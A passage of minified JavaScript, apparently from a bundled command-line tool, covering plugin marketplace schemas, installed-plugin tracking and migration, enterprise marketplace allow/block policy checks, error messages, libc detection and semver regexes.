"main", "v1.0.0"). Defaults to repository default branch.'),sha:jh4.optional().describe("Specific commit SHA to use")})]);UT9=X7A.partial().extend({name:U.string().min(1,"Plugin name cannot be empty").refine((A)=>!A.includes(" "),{message:'Plugin name cannot contain spaces. Use kebab-case (e.g., "my-plugin")'}).describe("Unique identifier matching the plugin name"),source:QT9.describe("Where to fetch the plugin from"),category:U.string().optional().describe('Category for organizing plugins (e.g., "productivity", "development")'),tags:U.array(U.string()).optional().describe("Tags for searchability and discovery"),strict:U.boolean().optional().default(!0).describe("Require the plugin manifest to be present in the plugin folder. If false, the marketplace entry provides the manifest.")}).strict(),V$A=U.object({name:U.string().min(1,"Marketplace must have a name").refine((A)=>!A.includes(" "),{message:'Marketplace name cannot contain spaces. Use kebab-case (e.g., "my-marketplace")'}).refine((A)=>!yT9(A),{message:'Marketplace name cannot impersonate official Anthropic/Claude marketplaces. Names containing "official", "anthropic", or "claude" in official-sounding combinations are reserved.'}),owner:Ph4.describe("Marketplace maintainer or curator information"),plugins:U.array(UT9).describe("Collection of available plugins in this marketplace"),metadata:U.object({pluginRoot:U.string().optional().describe("Base path for relative plugin sources"),version:U.string().optional().describe("Marketplace version"),description:U.string().optional().describe("Marketplace description")}).optional().describe("Optional marketplace metadata")}),J7A=U.string().regex(/^[a-z0-9][-a-z0-9._]*@[a-z0-9][-a-z0-9._]*$/i,"Plugin ID must be in format: plugin@marketplace"),RDw=U.union([J7A,U.object({id:J7A.describe('Plugin identifier (e.g., "formatter@tools")'),version:U.string().optional().describe('Version constraint (e.g., "^2.0.0")'),required:U.boolean().optional().describe("If true, cannot be disabled"),config:U.record(U.string(),U.unknown()).optional().describe("Plugin-specific configuration")})]),pT9=U.object({version:U.string().describe("Currently installed version"),installedAt:U.string().describe("ISO 8601 timestamp of installation"),lastUpdated:U.string().optional().describe("ISO 8601 timestamp of last update"),installPath:U.string().describe("Absolute path to the installed plugin directory"),gitCommitSha:U.string().optional().describe("Git commit SHA for git-based plugins (for version tracking)")}),OSA=U.object({version:U.literal(1).describe("Schema version 1"),plugins:U.record(J7A,pT9).describe("Map of plugin IDs to their installation metadata")}),dT9=U.enum(["managed","user","project","local"]),cT9=U.object({scope:dT9.describe("Installation scope"),projectPath:U.string().optional().describe("Project path (required for project/local scopes)"),installPath:U.string().describe("Absolute path to the versioned plugin directory"),version:U.string().optional().describe("Currently installed version"),installedAt:U.string().optional().describe("ISO 8601 timestamp of installation"),lastUpdated:U.string().optional().describe("ISO 8601 timestamp of last update"),gitCommitSha:U.string().optional().describe("Git commit SHA for git-based plugins")}),XSA=U.object({version:U.literal(2).describe("Schema version 2"),plugins:U.record(J7A,U.array(cT9)).describe("Map of plugin IDs to arrays of installation entries")}),yDw=U.union([OSA,XSA]),lT9=U.object({source:JSA.describe("Where to fetch the marketplace from"),installLocation:U.string().describe("Local cache path where marketplace manifest is stored"),lastUpdated:U.string().describe("ISO 8601 timestamp of last marketplace refresh"),autoUpdate:U.boolean().optional().describe("Whether to automatically update this marketplace and its installed plugins on startup")}),$Y6=U.record(U.string(),lT9)});import{join as iT9}from"path";function rT9(){if(mnA())return Nh4;if(P1(process.env.CLAUDE_CODE_USE_COWORK_PLUGINS))return Nh4;return nT9}function IT(){return iT9(w8(),rT9())}var nT9="plugins",Nh4="cowork_plugins";var $SA=k(()=>{l6();q6()});async function oT9(A){try{return!!await AV(A)}catch{return!1}}var jY1;var _Y6=k(()=>{p7();Ki();jY1=z6(async()=>{return oT9("git")})});function f$A(A,K){let Y=A.slice(0,2).map((H)=>{let J=H.reason||H.error||"unknown error";return K?`${H.name} (${J})`:H.name}).join(K?"; ":", "),z=A.length-2,w=z>0?` and ${z} more`:"";return`${Y}${w}`}function _SA(A){switch(A.source){case"github":return A.repo;case"url":return A.url;case"git":return A.url;case"directory":return A.path;case"file":return A.path;default:return"Unknown source"}}function lx(A,K){return`${A}@${K}`}async function eQ(A){let K=[],q=[];for(let[Y,z]of Object.entries(A)){if(!_7A(z.source))continue;let w=null;try{w=await $M(Y)}catch(H){let J=H instanceof Error?H.message:String(H);q.push({name:Y,error:J}),KA(H instanceof Error?H:Error(`Failed to load marketplace ${Y}: ${H}`))}K.push({name:Y,config:z,data:w})}return{marketplaces:K,failures:q}}function N$A(A,K){if(A.length===0)return null;if(K>0)return{type:"warning",message:A.length===1?`Warning: Failed to load marketplace '${A[0].name}': ${A[0].error}`:`Warning: Failed to load ${A.length} marketplaces: ${aT9(A)}`};return{type:"error",message:`Failed to load all marketplaces. Errors: ${sT9(A)}`}}function aT9(A){return A.map((K)=>K.name).join(", ")}function sT9(A){return A.map((K)=>`${K.name}: ${K.error}`).join("; ")}function $7A(){let A=E4("policySettings");if(!A?.strictKnownMarketplaces)return null;return A.strictKnownMarketplaces}function tT9(){let A=E4("policySettings");if(!A?.blockedMarketplaces)return null;return A.blockedMarketplaces}function eT9(A,K){if(A.source!==K.source)return!1;switch(A.source){case"url":return A.url===K.url;case"github":return A.repo===K.repo&&(A.ref||void 0)===(K.ref||void 0)&&(A.path||void 0)===(K.path||void 0);case"git":return A.url===K.url&&(A.ref||void 0)===(K.ref||void 0)&&(A.path||void 0)===(K.path||void 0);case"npm":return A.package===K.package;case"file":return A.path===K.path;case"directory":return A.path===K.path;default:return!1}}function GY6(A){switch(A.source){case"github":return"github.com";case"git":{let K=A.url.match(/^[^@]+@([^:]+):/);if(K?.[1])return K[1];try{return new URL(A.url).hostname}catch{return null}}case"url":try{return new URL(A.url).hostname}catch{return null}default:return null}}function Av9(A,K){let q=GY6(A);if(!q)return!1;try{return new RegExp(K.hostPattern).test(q)}catch{return KA(Error(`Invalid hostPattern regex: ${K.hostPattern}`)),!1}}function vh4(){let A=$7A();if(!A)return[];return A.filter((K)=>K.source==="hostPattern").map((K)=>K.hostPattern)}function Th4(A){let K=A.match(/^git@github\.com:([^/]+\/[^/]+?)(?:\.git)?$/);if(K&&K[1])return K[1];let q=A.match(/^https?:\/\/github\.com\/([^/]+\/[^/]+?)(?:\.git)?$/);if(q&&q[1])return q[1];return null}function Ur(A,K){if(!A)return!0;return(A||void 0)===(K||void 0)}function Kv9(A,K){if(A.source===K.source)switch(A.source){case"github":{let q=K;if(A.repo!==q.repo)return!1;return Ur(q.ref,A.ref)&&Ur(q.path,A.path)}case"git":{let q=K;if(A.url!==q.url)return!1;return Ur(q.ref,A.ref)&&Ur(q.path,A.path)}case"url":return A.url===K.url;case"npm":return A.package===K.package;case"file":return A.path===K.path;case"directory":return A.path===K.path;default:return!1}if(A.source==="git"&&K.source==="github"){if(Th4(A.url)===K.repo)return Ur(K.ref,A.ref)&&Ur(K.path,A.path)}if(A.source==="github"&&K.source==="git"){if(Th4(K.url)===A.repo)return Ur(K.ref,A.ref)&&Ur(K.path,A.path)}return!1}function GSA(A){let K=tT9();if(K===null)return!1;return K.some((q)=>Kv9(A,q))}function _7A(A){if(GSA(A))return!1;let K=$7A();if(K===null)return!0;return K.some((q)=>{if(q.source==="hostPattern")return Av9(A,q);return eT9(A,q)})}function T$A(A){switch(A.source){case"github":return`github:${A.repo}${A.ref?`@${A.ref}`:""}`;case"url":return A.url;case"git":return`git:${A.url}${A.ref?`@${A.ref}`:""}`;case"npm":return`npm:${A.package}`;case"file":return`file:${A.path}`;case"directory":return`dir:${A.path}`;case"hostPattern":return`hostPattern:${A.hostPattern}`;default:return"unknown source"}}async function Eh4({configuredMarketplaceCount:A,failedMarketplaceCount:K}){if(!await jY1())return"git-not-installed";let Y=$7A();if(Y!==null){if(Y.length===0)return"all-blocked-by-policy";if(A===0)return"policy-restricts-sources"}if(A===0)return"no-marketplaces-configured";if(K>0&&K===A)return"all-marketplaces-failed";return"all-plugins-installed"}var pr=k(()=>{TJ();C1();I8();_Y6()});function v$A(A){if(A.includes("@")){let K=A.split("@");return{name:K[0]||"",marketplace:K[1]}}return{name:A}}function ix(A){if(A==="managed")throw Error("Cannot install plugins to managed scope");return qv9[A]}function Ch4(A){return kh4[A]}var kh4,qv9;var G7A=k(()=>{kh4={policySettings:"managed",userSettings:"user",projectSettings:"project",localSettings:"local",flagSettings:"flag"};qv9={user:"userSettings",project:"projectSettings",local:"localSettings"}});import{dirname as lDw,join as Z7A}from"path";function E$A(){return Z7A(IT(),"installed_plugins.json")}function Yv9(){return Z7A(IT(),"installed_plugins_v2.json")}function zv9(){if(ZY6)return;let A=BA(),K=E$A(),q=Yv9();try{let Y=A.existsSync(q),z=A.existsSync(K);if(Y){A.renameSync(q,K),h("Renamed installed_plugins_v2.json to installed_plugins.json");let w=SD();Lh4(w)}else if(z){let w=A.readFileSync(K,{encoding:"utf-8"}),H=G6(w);if((typeof H?.version==="number"?H.version:1)===1){let O=OSA.parse(H),X=jY6(O);x8(K,UA(X,null,2),{encoding:"utf-8",flush:!0}),h(`Converted installed_plugins.json from V1 to V2 format (${Object.keys(O.plugins).length} plugins)`),Lh4(X)}}ZY6=!0}catch(Y){let z=Y instanceof Error?Y.message:String(Y);h(`Failed to migrate plugin files: ${z}`,{level:"error"}),KA(Y instanceof Error?Y:Error(`Failed to migrate plugin files: ${z}`)),ZY6=!0}}function Lh4(A){let K=BA(),q=cr();if(!K.existsSync(q))return;try{let Y=new Set;for(let w of Object.values(A.plugins))for(let H of w)Y.add(H.installPath);let z=K.readdirSync(q);for(let w of z){if(!w.isDirectory())continue;let H=w.name,J=Z7A(q,H);if(K.readdirSync(J).some(($)=>{if(!$.isDirectory())return!1;let _=Z7A(J,$.name);return K.readdirSync(_).some((Z)=>Z.isDirectory())}))continue;if(!Y.has(J))K.rmSync(J,{recursive:!0,force:!0}),h(`Cleaned up legacy cache directory: ${H}`)}}catch(Y){let z=Y instanceof Error?Y.message:String(Y);h(`Failed to clean up legacy cache: ${z}`,{level:"warn"})}}function DY6(){let A=BA(),K=E$A();if(!A.existsSync(K))return null;let q=A.readFileSync(K,{encoding:"utf-8"}),Y=G6(q);return{version:typeof Y?.version==="number"?Y.version:1,data:Y}}function jY6(A){let K={};for(let[q,Y]of Object.entries(A.plugins)){let z=rx(q,Y.version);K[q]=[{scope:"user",installPath:z,version:Y.version,installedAt:Y.installedAt,lastUpdated:Y.lastUpdated,gitCommitSha:Y.gitCommitSha}]}return{version:2,plugins:K}}function SD(){if(nx!==null)return nx;let A=E$A();try{let K=DY6();if(K){if(K.version===2){let z=XSA.parse(K.data);return nx=z,h(`Loaded ${Object.keys(z.plugins).length} installed plugins from ${A}`),z}let q=OSA.parse(K.data),Y=jY6(q);return nx=Y,h(`Loaded and converted ${Object.keys(q.plugins).length} plugins from V1 format`),Y}return h("installed_plugins.json doesn't exist, returning empty V2 object"),nx={version:2,plugins:{}},nx}catch(K){let q=K instanceof Error?K.message:String(K);return h(`Failed to load installed_plugins.json: ${q}. Starting with empty state.`,{level:"error"}),KA(K instanceof Error?K:Error(`Failed to load installed_plugins.json: ${q}`)),nx={version:2,plugins:{}},nx}}function PY1(A){let K=BA(),q=E$A();try{let Y=IT();if(!K.existsSync(Y))K.mkdirSync(Y);let z=UA(A,null,2);x8(q,z,{encoding:"utf-8",flush:!0}),nx=A,h(`Saved ${Object.keys(A.plugins).length} installed plugins to ${q}`)}catch(Y){let z=Y instanceof Error?Y.message:String(Y);throw KA(Y instanceof Error?Y:Error(`Failed to save installed_plugins.json: ${z}`)),Y}}function yh4(A,K,q){let Y=SD(),z=Y.plugins[A];if(!z)return;if(Y.plugins[A]=z.filter((w)=>!(w.scope===K&&w.projectPath===q)),Y.plugins[A].length===0)delete Y.plugins[A];PY1(Y),h(`Removed installation for ${A} at scope ${K}`)}function MY6(){if(WY6===null)WY6=SD();return WY6}function dr(){try{let A=DY6();if(A){if(A.version===2)return XSA.parse(A.data);let K=OSA.parse(A.data);return jY6(K)}return{version:2,plugins:{}}}catch(A){let K=A instanceof Error?A.message:String(A);return h(`Failed to load installed plugins from disk: ${K}`,{level:"error"}),{version:2,plugins:{}}}}function Ih4(A,K,q,Y,z){let w=dr(),H=w.plugins[A];if(!H){h(`Cannot update ${A} on disk: plugin not found in installed plugins`);return}let J=H.find((O)=>O.scope===K&&O.projectPath===q);if(J){J.installPath=Y,J.version=z,J.lastUpdated=new Date().toISOString();let O=E$A();x8(O,UA(w,null,2),{encoding:"utf-8",flush:!0}),nx=null,h(`Updated ${A} on disk to version ${z} at ${Y}`)}else h(`Cannot update ${A} on disk: no installation for scope ${K}`)}async function PY6(){zv9();try{await fY6()}catch(K){KA(K instanceof Error?K:Error(String(K)))}let A=MY6();h(`Initialized versioned plugins system with ${Object.keys(A.plugins).length} plugins`)}function wv9(A){let q=SD().plugins[A];if(!q||q.length===0)return;let Y=q[0];if(!Y)return;return{version:Y.version||"unknown",installedAt:Y.installedAt||new Date().toISOString(),lastUpdated:Y.lastUpdated,installPath:Y.installPath,gitCommitSha:Y.gitCommitSha}}function Sh4(A){if(!A)return[];let K=SD(),q=`@${A}`,Y=new Set,z=!1;for(let w of Object.keys(K.plugins)){if(!w.endsWith(q))continue;for(let H of K.plugins[w]??[])if(H.installPath)Y.add(H.installPath);delete K.plugins[w],z=!0,h(`Removed installed plugin for marketplace removal: ${w}`)}if(z)PY1(K);return Array.from(Y)}function BZ(A){return wv9(A)!==void 0}function VY6(A,K,q="user",Y){let z=SD(),w={scope:q,installPath:K.installPath,version:K.version,installedAt:K.installedAt,lastUpdated:K.lastUpdated,gitCommitSha:K.gitCommitSha,...Y&&{projectPath:Y}},H=z.plugins[A]||[],J=H.findIndex((X)=>X.scope===q&&X.projectPath===Y),O=J>=0;if(O)H[J]=w;else H.push(w);z.plugins[A]=H,PY1(z),h(`${O?"Updated":"Added"} installed plugin: ${A} (scope: ${q})`)}async function MY1(A){try{let K=await R6("git",["-C",A,"rev-parse","HEAD"]);if(K.code===0&&K.stdout)return K.stdout.trim();return}catch(K){h(`Failed to get git commit SHA from ${A}: ${K}`);return}}function Rh4(A,K){let q=BA(),Y=Z7A(A,".claude-plugin","plugin.json");if(!q.existsSync(Y))return"unknown";try{let z=q.readFileSync(Y,{encoding:"utf-8"});return G6(z).version||"unknown"}catch{return h(`Could not read version from manifest for ${K}`),"unknown"}}async function fY6(){let K=J8().enabledPlugins||{};if(Object.keys(K).length===0)return;let q=DY6(),Y=q!==null;if(Y&&q?.version===2&&q){let Z=XSA.safeParse(q.data);if(Z?.success){let W=Z.data.plugins;if(Object.keys(K).filter((j)=>j.includes("@")).every((j)=>{let M=W[j];return M&&M.length>0})){h("All plugins already exist, skipping migration");return}}}h(Y?"Syncing installed_plugins.json with enabledPlugins from all settings.json files":"Creating installed_plugins.json from settings.json files");let w=BA(),H=new Date().toISOString(),J=x1(),O=new Map,X=["userSettings","projectSettings","localSettings"];for(let Z of X){let D=E4(Z)?.enabledPlugins||{};for(let j of Object.keys(D)){if(!j.includes("@"))continue;let M=Ch4(Z);O.set(j,{scope:M,projectPath:M==="user"?void 0:J})}}let $={};if(Y)$={...SD().plugins};let _=0,G=0;for(let[Z,W]of O){let D=$[Z];if(D&&D.length>0){let j=D[0];if(j&&(j.scope!==W.scope||j.projectPath!==W.projectPath)){if(j.scope=W.scope,W.projectPath)j.projectPath=W.projectPath;else delete j.projectPath;j.lastUpdated=H,_++,h(`Updated ${Z} scope to ${W.scope} (settings.json is source of truth)`)}}else{let j=Z.split("@"),M=j[0];if(!M||j.length!==2)continue;try{let P=await ZG(Z);if(!P){h(`Plugin ${Z} not found in any marketplace, skipping`);continue}let{entry:f,marketplaceInstallLocation:N}=P,T,C="unknown",R=void 0;if(typeof f.source==="string")T=Z7A(N,f.source),C=Rh4(T,Z),R=await MY1(T);else{let x=cr(),y=M.replace(/[^a-zA-Z0-9-_]/g,"-"),B=Z7A(x,y);if(!w.existsSync(B)){h(`External plugin ${Z} not in cache, skipping`);continue}T=B,C=Rh4(B,Z),R=await MY1(B)}if(C==="unknown"&&f.version)C=f.version;if(C==="unknown"&&R)C=R.substring(0,12);$[Z]=[{scope:W.scope,installPath:rx(Z,C),version:C,installedAt:H,lastUpdated:H,gitCommitSha:R,...W.projectPath&&{projectPath:W.projectPath}}],G++,h(`Added ${Z} with scope ${W.scope}`)}catch(P){h(`Failed to add plugin ${Z}: ${P}`)}}}if(!Y||_>0||G>0)PY1({version:2,plugins:$}),h(`Sync completed: ${G} added, ${_} updated in installed_plugins.json`)}var ZY6=!1,nx=null,WY6=null;var mZ=k(()=>{e6();b1();Z1();C1();$SA();ID();b1();I8();G7A();y4();s0();CK();TJ()});function _M(A){switch(A.type){case"generic-error":return A.error;case"path-not-found":return`Path not found: ${A.path} (${A.component})`;case"git-auth-failed":return`Git authentication failed (${A.authType}): ${A.gitUrl}`;case"git-timeout":return`Git ${A.operation} timeout: ${A.gitUrl}`;case"network-error":return`Network error: ${A.url}${A.details?` - ${A.details}`:""}`;case"manifest-parse-error":return`Manifest parse error: ${A.parseError}`;case"manifest-validation-error":return`Manifest validation failed: ${A.validationErrors.join(", ")}`;case"plugin-not-found":return`Plugin ${A.pluginId} not found in marketplace ${A.marketplace}`;case"marketplace-not-found":return`Marketplace ${A.marketplace} not found`;case"marketplace-load-failed":return`Marketplace ${A.marketplace} failed to load: ${A.reason}`;case"repository-scan-failed":return`Repository scan failed: ${A.reason}`;case"mcp-config-invalid":return`MCP server ${A.serverName} invalid: ${A.validationError}`;case"hook-load-failed":return`Hook load failed: ${A.reason}`;case"component-load-failed":return`${A.component} load failed from ${A.path}: ${A.reason}`;case"mcpb-download-failed":return`Failed to download MCPB from ${A.url}: ${A.reason}`;case"mcpb-extract-failed":return`Failed to extract MCPB ${A.mcpbPath}: ${A.reason}`;case"mcpb-invalid-manifest":return`MCPB manifest invalid at ${A.mcpbPath}: ${A.validationError}`;case"lsp-config-invalid":return`Plugin "${A.plugin}" has invalid LSP server config for "${A.serverName}": ${A.validationError}`;case"lsp-server-start-failed":return`Plugin "${A.plugin}" failed to start LSP server "${A.serverName}": ${A.reason}`;case"lsp-server-crashed":if(A.signal)return`Plugin "${A.plugin}" LSP server "${A.serverName}" crashed with signal ${A.signal}`;return`Plugin "${A.plugin}" LSP server "${A.serverName}" crashed with exit code ${A.exitCode??"unknown"}`;case"lsp-request-timeout":return`Plugin "${A.plugin}" LSP server "${A.serverName}" timed out on ${A.method} request after ${A.timeoutMs}ms`;case"lsp-request-failed":return`Plugin "${A.plugin}" LSP server "${A.serverName}" ${A.method} request failed: ${A.error}`;case"marketplace-blocked-by-policy":if(A.blockedByBlocklist)return`Marketplace '${A.marketplace}' is blocked by enterprise policy`;return`Marketplace '${A.marketplace}' is not in the allowed marketplace list`}}var bh4={};_q(bh4,{sharp:()=>hh4,default:()=>Hv9});function hh4(A){let K=null,q=[],Y=0;async function z(){if(!K)K=(async()=>{if(!VY1)throw Error("Native image processor module not available");let{processImage:J}=VY1;return J(A)})();return K}function w(J){for(let O=Y;O<q.length;O++){let X=q[O];if(X)X(J)}Y=q.length}let H={async metadata(){return(await z()).metadata()},resize(J,O,X){return q.push(($)=>{$.resize(J,O,X)}),H},jpeg(J){return q.push((O)=>{O.jpeg(J?.quality)}),H},png(J){return q.push((O)=>{O.png(J)}),H},webp(J){return q.push((O)=>{O.webp(J?.quality)}),H},async toBuffer(){let J=await z();return w(J),J.toBuffer()}};return H}var VY1,Hv9;var xh4=k(()=>{try{VY1=(()=>{throw new Error("Cannot require module "+"../../image-processor.node");})()}catch(A){VY1=null}Hv9=hh4});var ox=v((Jjw,Bh4)=>{var uh4=function(A){return typeof A<"u"&&A!==null},Jv9=function(A){return typeof A==="object"},Ov9=function(A){return Object.prototype.toString.call(A)==="[object Object]"},Xv9=function(A){return typeof A==="function"},$v9=function(A){return typeof A==="boolean"},_v9=function(A){return A instanceof Buffer},Gv9=function(A){if(uh4(A))switch(A.constructor){case Uint8Array:case Uint8ClampedArray:case Int8Array:case Uint16Array:case Int16Array:case Uint32Array:case Int32Array:case Float32Array:case Float64Array:return!0}return!1},Zv9=function(A){return A instanceof ArrayBuffer},Wv9=function(A){return typeof A==="string"&&A.length>0},Dv9=function(A){return typeof A==="number"&&!Number.isNaN(A)},jv9=function(A){return Number.isInteger(A)},Mv9=function(A,K,q){return A>=K&&A<=q},Pv9=function(A,K){return K.includes(A)},Vv9=function(A,K,q){return Error(`Expected ${K} for ${A} but received ${q} of type ${typeof q}`)},fv9=function(A,K){return K.message=A.message,K};Bh4.exports={defined:uh4,object:Jv9,plainObject:Ov9,fn:Xv9,bool:$v9,buffer:_v9,typedArray:Gv9,arrayBuffer:Zv9,string:Wv9,number:Dv9,integer:jv9,inRange:Mv9,inArray:Pv9,invalidParameterError:Vv9,nativeError:fv9}});var Fh4=v((Ojw,gh4)=>{var mh4=()=>process.platform==="linux",fY1=null,Nv9=()=>{if(!fY1)if(mh4()&&process.report){let A=process.report.excludeNetwork;process.report.excludeNetwork=!0,fY1=process.report.getReport(),process.report.excludeNetwork=A}else fY1={};return fY1};gh4.exports={isLinux:mh4,getReport:Nv9}});var ph4=v((Xjw,Uh4)=>{var Qh4=CA("fs"),Tv9=(A)=>Qh4.readFileSync(A,"utf-8"),vv9=(A)=>new Promise((K,q)=>{Qh4.readFile(A,"utf-8",(Y,z)=>{if(Y)q(Y);else K(z)})});Uh4.exports={LDD_PATH:"/usr/bin/ldd",readFileSync:Tv9,readFile:vv9}});var TY1=v(($jw,zb4)=>{var ch4=CA("child_process"),{isLinux:C$A,getReport:lh4}=Fh4(),{LDD_PATH:NY1,readFile:ih4,readFileSync:nh4}=ph4(),ax,sx,lr="",rh4=()=>{if(!lr)return new Promise((A)=>{ch4.exec("getconf GNU_LIBC_VERSION 2>&1 || true; ldd --version 2>&1 || true",(K,q)=>{lr=K?" ":q,A(lr)})});return lr},oh4=()=>{if(!lr)try{lr=ch4.execSync("getconf GNU_LIBC_VERSION 2>&1 || true; ldd --version 2>&1 || true",{encoding:"utf8"})}catch(A){lr=" "}return lr},ir="glibc",ah4=/LIBC[a-z0-9 \-).]*?(\d+\.\d+)/i,k$A="musl",Ev9=(A)=>A.includes("libc.musl-")||A.includes("ld-musl-"),sh4=()=>{let A=lh4();if(A.header&&A.header.glibcVersionRuntime)return ir;if(Array.isArray(A.sharedObjects)){if(A.sharedObjects.some(Ev9))return k$A}return null},th4=(A)=>{let[K,q]=A.split(/[\r\n]+/);if(K&&K.includes(ir))return ir;if(q&&q.includes(k$A))return k$A;return null},eh4=(A)=>{if(A.includes("musl"))return k$A;if(A.includes("GNU C Library"))return ir;return null},kv9=async()=>{if(ax!==void 0)return ax;ax=null;try{let A=await ih4(NY1);ax=eh4(A)}catch(A){}return ax},Cv9=()=>{if(ax!==void 0)return ax;ax=null;try{let A=nh4(NY1);ax=eh4(A)}catch(A){}return ax},Ab4=async()=>{let A=null;if(C$A()){if(A=await kv9(),!A)A=sh4();if(!A){let K=await rh4();A=th4(K)}}return A},Kb4=()=>{let A=null;if(C$A()){if(A=Cv9(),!A)A=sh4();if(!A){let K=oh4();A=th4(K)}}return A},Lv9=async()=>C$A()&&await Ab4()!==ir,Rv9=()=>C$A()&&Kb4()!==ir,yv9=async()=>{if(sx!==void 0)return sx;sx=null;try{let K=(await ih4(NY1)).match(ah4);if(K)sx=K[1]}catch(A){}return sx},Iv9=()=>{if(sx!==void 0)return sx;sx=null;try{let K=nh4(NY1).match(ah4);if(K)sx=K[1]}catch(A){}return sx},qb4=()=>{let A=lh4();if(A.header&&A.header.glibcVersionRuntime)return A.header.glibcVersionRuntime;return null},dh4=(A)=>A.trim().split(/\s+/)[1],Yb4=(A)=>{let[K,q,Y]=A.split(/[\r\n]+/);if(K&&K.includes(ir))return dh4(K);if(q&&Y&&q.includes(k$A))return dh4(Y);return null},Sv9=async()=>{let A=null;if(C$A()){if(A=await yv9(),!A)A=qb4();if(!A){let K=await rh4();A=Yb4(K)}}return A},hv9=()=>{let A=null;if(C$A()){if(A=Iv9(),!A)A=qb4();if(!A){let K=oh4();A=Yb4(K)}}return A};zb4.exports={GLIBC:ir,MUSL:k$A,family:Ab4,familySync:Kb4,isNonGlibcLinux:Lv9,isNonGlibcLinuxSync:Rv9,version:Sv9,versionSync:hv9}});var ZSA=v((_jw,wb4)=>{var bv9=typeof process==="object"&&process.env&&process.env.NODE_DEBUG&&/\bsemver\b/i.test(process.env.NODE_DEBUG)?(...A)=>console.error("SEMVER",...A):()=>{};wb4.exports=bv9});var vY1=v((Gjw,Hb4)=>{var xv9=Number.MAX_SAFE_INTEGER||9007199254740991,uv9=["major","premajor","minor","preminor","patch","prepatch","prerelease"];Hb4.exports={MAX_LENGTH:256,MAX_SAFE_COMPONENT_LENGTH:16,MAX_SAFE_BUILD_LENGTH:250,MAX_SAFE_INTEGER:xv9,RELEASE_TYPES:uv9,SEMVER_SPEC_VERSION:"2.0.0",FLAG_INCLUDE_PRERELEASE:1,FLAG_LOOSE:2}});var WSA=v((tx,Jb4)=>{var{MAX_SAFE_COMPONENT_LENGTH:NY6,MAX_SAFE_BUILD_LENGTH:Bv9,MAX_LENGTH:mv9}=vY1(),gv9=ZSA();tx=Jb4.exports={};var Fv9=tx.re=[],Qv9=tx.safeRe=[],L7=tx.src=[],Uv9=tx.safeSrc=[],R7=tx.t={},pv9=0,TY6="[a-zA-Z0-9-]",dv9=[["\\s",1],["\\d",mv9],[TY6,Bv9]],cv9=(A)=>{for(let[K,q]of dv9)A=A.split(`${K}*`).join(`${K}{0,${q}}`).split(`${K}+`).join(`${K}{1,${q}}`);return A},Q5=(A,K,q)=>{let Y=cv9(K),z=pv9++;gv9(A,z,K),R7[A]=z,L7[z]=K,Uv9[z]=Y,Fv9[z]=new RegExp(K,q?"g":void 0),Qv9[z]=new RegExp(Y,q?"g":void 0)};Q5("NUMERICIDENTIFIER","0|[1-9]\\d*");Q5("NUMERICIDENTIFIERLOOSE","\\d+");Q5("NONNUMERICIDENTIFIER",`\\d*[a-zA-Z-]${TY6}*`);Q5("MAINVERSION",`(${L7[R7.NUMERICIDENTIFIER]})\\.(${L7[R7.NUMERICIDENTIFIER]})\\.(${L7[R7.NUMERICIDENTIFIER]})`);Q5("MAINVERSIONLOOSE",`(${L7[R7.NUMERICIDENTIFIERLOOSE]})\\.(${L7[R7.NUMERICIDENTIFIERLOOSE]})\\.(${L7[R7.NUMERICIDENTIFIERLOOSE]})`);Q5("PRERELEASEIDENTIFIER",`(?:${L7[R7.NUMERICIDENTIFIER]}|${L7[R7.NONNUMERICIDENTIFIER]})`);Q5("PRERELEASEIDENTIFIERLOOSE",`(?:${L7[R7.NUMERICIDENTIFIERLOOSE]}|${L7[R7.NONNUMERICIDENTIFIER]})`);Q5("PRERELEASE",`(?:-(${L7[R7.PRERELEASEIDENTIFIER]}(?:\\.${L7[R7.PRERELEASEIDENTIFIER]})*))`);Q5("PRERELEASELOOSE",`(?:-?(${L7[R7.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${L7[R7.PRERELEASEIDENTIFIERLOOSE]})*))`);Q5("BUILDIDENTIFIER",`${TY6}+`);Q5("BUILD",`(?:\\+(${L7[R7.BUILDIDENTIFIER]}(?:\\.${L7[R7.BUILDIDENTIFIER]})*))`);Q5("FULLPLAIN",`v?${L7[R7.MAINVERSION]}${L7[R7.PRERELEASE]}?${L7[R7.BUILD]}?`);Q5("FULL",`^${L7[R7.FULLPLAIN]}$`);Q5("LOOSEPLAIN",`[v=\\s]*${L7[R7.MAINVERSIONLOOSE]}${L7[R7.PRERELEASELOOSE]}?${L7[R7.BUILD]}?`);Q5("LOOSE",`^${L7[R7.LOOSEPLAIN]}$`);Q5("GTLT","((?:<|>)?=?)");Q5("XRANGEIDENTIFIERLOOSE",`${L7[R7.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`);Q5("XRANGEIDENTIFIER",`${L7[R7.NUMERICIDENTIFIER]}|x|X|\\*`);Q5("XRANGEPLAIN",`[v=\\s]*(${L7[R7.XRANGEIDENTIFIER]})(?:\\.(${L7[R7.XRANGEIDENTIFIER]})(?:\\.(${L7[R7.XRANGEIDENTIFIER]})(?:${L7[R7.PRERELEASE]})?${L7[R7.BUILD]}?)?)?`);Q5("XRANGEPLAINLOOSE",`[v=\\s]*(${L7[R7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${L7[R7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${L7[R7.XRANGEIDENTIFIERLOOSE]})(?:${L7[R7.PRERELEASELOOSE]})?${L7[R7.BUILD]}?)?)?`);Q5("XRANGE",`^${L7[R7.GTLT]}\\s*${L7[R7.XRANGEPLAIN]}$`);Q5("XRANGELOOSE",`^${L7[R7.GTLT]}\\s*${L7[R7.XRANGEPLAINLOOSE]}$`);Q5("COERCEPLAIN",`(^|[^\\d])(\\d{1,${NY6}})(?:\\.(\\d{1,${NY6}}))?(?:\\.(\\d{1,${NY6}}))?`);Q5("COERCE",`${L7[R7.COERCEPLAIN]}(?:$|[^\\d])`);Q5("COERCEFULL",L7[R7.COERCEPLAIN]+`(?:${L7[R7.PRERELEASE]})?(?:${L7[R7.BUILD]})?(?:$|[^\\d])`);Q5("COERCERTL",L7[R7.COERCE],!0);Q5("COERCERTLFULL",L7[R7.COERCEFULL],!0);Q5("LONETILDE","(?:~>?)");Q5("TILDETRIM",`(\\s*)${L7[R7.LONETILDE]}\\s+`,!0);tx.tildeTrimReplace="$1~";Q5("TILDE",`^${L7[R7.LONETILDE]}${L7[R7.XRANGEPLAIN]}$`);Q5("TILDELOOSE",`^${L7[R7.LONETILDE]}${L7[R7.XRANGEPLAINLOOSE]}$`);Q5("LONECARET","(?:\\^)");Q5("CARETTRIM",`(\\s*)${L7[R7.LONECARET]}\\s+`,!0);tx.caretTrimReplace="$1^";Q5("CARET",`^${L7[R7.LONECARET]}${L7[R7.XRANGEPLAIN]}$`);Q5("CARETLOOSE"